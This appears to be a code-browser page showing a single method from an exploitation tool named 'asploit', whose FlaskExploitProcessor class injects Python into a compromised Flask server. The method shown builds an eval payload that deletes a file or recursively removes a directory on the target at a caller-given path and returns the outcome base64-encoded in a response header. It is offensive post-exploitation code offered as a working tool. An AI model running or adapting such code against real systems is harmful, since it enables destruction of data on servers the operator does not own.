MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__rm

Method _Base__rm

src/FlaskExploitProcessor.py:276–288  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

274 @brief See base class for details.
275 """
276 def _Base__rm(self, options: str):
277 res = self.__eval(
278 f"try:\n"
279 f"\tif __import__('os').path.isdir('{options}'):\n"
280 f"\t\t__import__('shutil').rmtree('{options}');\n"
281 f"\telse:\n"
282 f"\t\t__import__('pathlib').Path.unlink('{options}');\n"
283 f"\tr.headers['{self.header}']='RG9uZS4='\n"
284 f"except Exception as e:\n"
285 f"\tr.headers['{self.header}']=__import__('base64')."
286 f"b64encode(str(e).encode());"
287 )
288 print(base64.b64decode(res.encode()).decode())
289
290 """
291 @brief See base class for details.

Callers

nothing calls this directly

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected